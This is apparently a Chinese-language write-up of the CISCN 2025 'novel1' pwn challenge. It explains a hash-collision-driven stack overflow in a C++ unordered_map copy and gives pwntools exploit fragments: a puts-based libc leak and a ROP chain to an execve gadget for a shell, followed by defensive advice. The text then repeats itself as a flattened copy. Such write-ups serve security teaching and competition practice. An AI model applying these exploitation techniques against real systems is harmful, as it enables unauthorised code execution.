2025 ciscn novel1详细解析
字数 1742 2025-08-22 12:22:30

CISC 2025 Novel1 漏洞分析与利用详解

1. 程序概述

这是一个CTF比赛中的二进制漏洞利用题目,程序名为novel1,主要功能涉及对血迹(bloodstains)和证据(evidence)的管理。程序使用C++编写,利用了STL容器进行数据存储。

2. 程序保护机制

首先需要检查程序的保护机制,常见的包括:

  • NX (栈不可执行)
  • ASLR (地址空间随机化)
  • PIE (位置无关可执行文件)
  • Stack Canary (栈保护)

从exp代码中可以看到使用了libc.so.6,表明程序可能动态链接到libc库。

3. 主要功能分析

3.1 Part1 功能

  1. 检查bloodstains哈希表中的元素数量是否超过31(容量限制)
  2. 提示用户输入"Blood"(血迹标识符)并检查是否已存在于哈希表中
    • 如果存在,提示"This bloodstain has been found."
    • 如果不存在,继续处理
  3. 提示用户输入"Evidence"(关联数据)并将其与血迹标识符关联存储到哈希表中

3.2 哈希表实现细节

  • 使用C++ STL中的std::unordered_mapstd::unordered_set
  • 使用哈希桶存储hash表
  • 采用链地址法处理冲突,重复的键通过链表存储在桶中

哈希函数分析

通过动态调试发现哈希函数为:

hash = value % 13

哈希值决定了数据存储在哪个桶中。当桶节点重复时,使用链表存储,且以堆的形式存储。

3.3 Part2 功能

  1. 在哈希表bloodstains中查找输入的标识符
    • 如果未找到,输出"This bloodstain has not been found."
    • 如果找到,继续分析
  2. 查找与输入标识符相关的哈希桶,并遍历桶内所有键值对
    • 将桶内所有元素拷贝到栈变量v3
    • 遍历桶内所有元素

关键操作:

std::unordered_map<...>::end(v9, &bloodstains, v12);
std::unordered_map<...>::begin(v10, &bloodstains, v12);
std::copy<...>((int64)v10, (int64)v9, (__int64)v3);

4. 漏洞分析

4.1 漏洞点

  1. v3位于栈上,当桶内元素过多时可能导致栈溢出
  2. 通过控制输入使所有值都哈希到同一个桶中(利用哈希函数hash = value % 13
    • 输入13的整数倍,使它们都哈希到桶0
  3. 当桶内元素过多时,std::copy操作会导致栈溢出

4.2 哈希表扩容机制

  • std::unordered_map有动态扩展机制,类似于C的动态数组
  • 根据负载因子自动扩容(从13扩展到29)
  • 新桶数组会重新哈希分配
  • 链表通过索引计算(如i * 29)重新串联

通过调试发现扩容后的桶数量为29(计算方式:13 + (0x70 + 0x10)/8

5. 利用思路

5.1 信息泄露

  1. 控制返回地址到author(程序开始时输入的值)
  2. 由于控制rsp后还有两次pop操作,需要返回author-0x10的位置
  3. 泄露libc地址
  4. 返回到main函数重新开始

5.2 劫持程序流

  1. 返回main函数后,发现输入不会正常跳转程序流
  2. 通过调试发现返回后会直接ret到输入的第二个64位值的位置
  3. 这相当于直接劫持程序流

5.3 最终利用

  1. 常规的system调用可能有问题
  2. 选择利用libc中的gadget
  3. 通过启动docker获取libc后构造ROP链
  4. 最终获取shell

6. 漏洞利用代码解析

6.1 初始化设置

context.clear(arch='amd64', os='linux', log_level='debug')
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./novel1"
mx = remote("172.17.0.2",9999)
elf = ELF(filename)

6.2 初始信息泄露

rl("Author: ")
pop_rdi_rbp=0x4025C0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
sl(p64(0x4025C0)+p64(puts_got)+p64(0)+p64(puts_plt)+p64(0x4027a3))

6.3 Part1 填充哈希表

def part1(Blood,Evidence):
    rl("Chapter: ")
    sl(str(1))
    rl("Blood: ")
    sl(Blood)
    rl("Evidence: ")
    int_Evidence=change(Evidence)
    sl(str(int_Evidence))

通过输入13的整数倍(029到2229)确保所有值都哈希到同一个桶中。

6.4 Part2 触发漏洞

def part2(Blood):
    rl("Chapter: ")
    sl(str(2))
    rl("Blood: ")
    sl(str(Blood))

6.5 计算libc基址

libc_addr=h64()-0x80e50
log_addr(libc_addr)

6.6 构造ROP链

pop_rdi=libc_addr+0x000000000002a3e5
execve=0xebc88+libc_addr
ret=libc_addr+0x000000000002882f
pop_rsi=libc_addr+0x000000000002be51
pop_rdx=libc_addr+0x000000000011f2e7
bin_sh =libc_addr+0x1d8678

rl("Author: ")
sl(p64(0)*3+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)*2+p64(execve))

7. 关键调试点

  1. 0x402BD6 - copy操作的结果位置
  2. 需要添加多个chunk使链表结构变化
  3. 观察0x70被free的情况
  4. 哈希表扩容时的行为变化

8. 防御建议

  1. 对哈希表桶大小进行限制
  2. 使用安全的拷贝函数,检查目标缓冲区大小
  3. 考虑使用更安全的容器或实现
  4. 启用所有现代保护机制(如ASLR, NX等)

9. 总结

这个漏洞展示了C++ STL容器使用不当可能导致的安全问题,特别是当与不安全的拷贝操作结合时。通过精心构造输入,攻击者可以控制哈希表的行为,导致栈溢出并最终实现任意代码执行。理解STL容器的内部实现细节对于发现和利用这类漏洞至关重要。

CISC 2025 Novel1 漏洞分析与利用详解 1. 程序概述 这是一个CTF比赛中的二进制漏洞利用题目,程序名为 novel1 ,主要功能涉及对血迹(bloodstains)和证据(evidence)的管理。程序使用C++编写,利用了STL容器进行数据存储。 2. 程序保护机制 首先需要检查程序的保护机制,常见的包括: NX (栈不可执行) ASLR (地址空间随机化) PIE (位置无关可执行文件) Stack Canary (栈保护) 从exp代码中可以看到使用了 libc.so.6 ,表明程序可能动态链接到libc库。 3. 主要功能分析 3.1 Part1 功能 检查 bloodstains 哈希表中的元素数量是否超过31(容量限制) 提示用户输入"Blood"(血迹标识符)并检查是否已存在于哈希表中 如果存在,提示"This bloodstain has been found." 如果不存在,继续处理 提示用户输入"Evidence"(关联数据)并将其与血迹标识符关联存储到哈希表中 3.2 哈希表实现细节 使用C++ STL中的 std::unordered_map 和 std::unordered_set 使用哈希桶存储hash表 采用链地址法处理冲突,重复的键通过链表存储在桶中 哈希函数分析 通过动态调试发现哈希函数为: 哈希值决定了数据存储在哪个桶中。当桶节点重复时,使用链表存储,且以堆的形式存储。 3.3 Part2 功能 在哈希表 bloodstains 中查找输入的标识符 如果未找到,输出"This bloodstain has not been found." 如果找到,继续分析 查找与输入标识符相关的哈希桶,并遍历桶内所有键值对 将桶内所有元素拷贝到栈变量 v3 中 遍历桶内所有元素 关键操作: 4. 漏洞分析 4.1 漏洞点 v3 位于栈上,当桶内元素过多时可能导致栈溢出 通过控制输入使所有值都哈希到同一个桶中(利用哈希函数 hash = value % 13 ) 输入13的整数倍,使它们都哈希到桶0 当桶内元素过多时, std::copy 操作会导致栈溢出 4.2 哈希表扩容机制 std::unordered_map 有动态扩展机制,类似于C的动态数组 根据负载因子自动扩容(从13扩展到29) 新桶数组会重新哈希分配 链表通过索引计算(如 i * 29 )重新串联 通过调试发现扩容后的桶数量为29(计算方式: 13 + (0x70 + 0x10)/8 ) 5. 利用思路 5.1 信息泄露 控制返回地址到 author (程序开始时输入的值) 由于控制 rsp 后还有两次 pop 操作,需要返回 author-0x10 的位置 泄露libc地址 返回到main函数重新开始 5.2 劫持程序流 返回main函数后,发现输入不会正常跳转程序流 通过调试发现返回后会直接 ret 到输入的第二个64位值的位置 这相当于直接劫持程序流 5.3 最终利用 常规的 system 调用可能有问题 选择利用libc中的gadget 通过启动docker获取libc后构造ROP链 最终获取shell 6. 漏洞利用代码解析 6.1 初始化设置 6.2 初始信息泄露 6.3 Part1 填充哈希表 通过输入13的整数倍(0 29到22 29)确保所有值都哈希到同一个桶中。 6.4 Part2 触发漏洞 6.5 计算libc基址 6.6 构造ROP链 7. 关键调试点 0x402BD6 - copy 操作的结果位置 需要添加多个chunk使链表结构变化 观察 0x70 被free的情况 哈希表扩容时的行为变化 8. 防御建议 对哈希表桶大小进行限制 使用安全的拷贝函数,检查目标缓冲区大小 考虑使用更安全的容器或实现 启用所有现代保护机制(如ASLR, NX等) 9. 总结 这个漏洞展示了C++ STL容器使用不当可能导致的安全问题,特别是当与不安全的拷贝操作结合时。通过精心构造输入,攻击者可以控制哈希表的行为,导致栈溢出并最终实现任意代码执行。理解STL容器的内部实现细节对于发现和利用这类漏洞至关重要。